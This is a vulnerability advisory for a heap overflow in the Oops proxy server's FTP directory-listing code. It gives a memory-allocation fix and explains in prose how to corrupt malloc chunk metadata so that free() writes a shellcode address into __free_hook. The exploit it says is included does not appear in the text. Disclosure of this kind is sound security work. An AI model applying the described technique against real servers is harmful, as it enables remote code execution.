Application : Oops proxy server 1.4.22 1.4.6 and maybe prior

Type: heap buffer overflow

--- The problem ---

Function list_parser in ftp_utils.c :

line is the line sent by the ftp server in result of a list command

   tempbuf = xmalloc(strlen(line)*3 + strlen(myhostname) + dovesok , [...]);
p is the line without the filename

    htmlized_something = html_escaping(p);

and this is the vulnerable sprintf

sprintf(tempbuf, "<img src=\"http://%s:%s/%s/%s\"; alt=\"%s\">%s ",
                              icons_host[0]?icons_host:myhostname,
                              icons_port[0]?icons_port:"80",
                              icons_path[0]?icons_path:"icons",
                              icons[type],
                              alts[type],
                              htmlized_something);

well.. as you can see tempbuf allocs strlen(line)*3. The probably tougth
that the htmlizing of the line can give just a string 3 times bigger than
the line. But if you look at html_escaping code you see that he translates
" into &quot; . So putting a large amount of " in the line we can overflow
tempbuf.

--- The Solution ---

Well.. a quick fix could be just changing the alloc line into:

tempbuf=xmalloc(strlen(line)*6+strlen(myhostname)+dovesok, [..];

but you can save more memory allocating tempbuf after the html_escaping.
Anyway.. the authors were contacted and they're fixing it in a better way.

--- How to exploit this ---

As demostrated by the traceroute and slocate exploits, it's possibile to
overwrite a function pointer modifing a malloc chunk.
And in this case, after the tempbuf buffer, there is the chunk of
htmlized_something. So the exploit have to overwrite it, set the the size to
0xffffffff to make it a free chunk, put the address of the shellcode into fd
and the address of the target function pointer into bd (-8), and when the
free() will call the unlink it will put the shellcode address into
__free_hook. The problem of the exploit is that we must compute exactly the
length of tempbuf and hope that malloc will not give it a bigger length,
overwrite perfectly the chunk, know exactly the address of __free_hook and the
address of the shellcode.
As you can see the bigger problem is the shellcode. We can't simply put a
(not too) large amount of nop, cause the unlink will fill the zone near the
one pointed by __free_hook with the address of it.. (so.. some illegal
instrunctions) and the shellcode have to jump them. If instead you point to a
nop the other nops after that will be overwritten by the unlink() and will
result in SIGILL.
So.. this is very hard to exploit.. anyway it's possible..
I include an example exploit that worked on my slackware 7.0
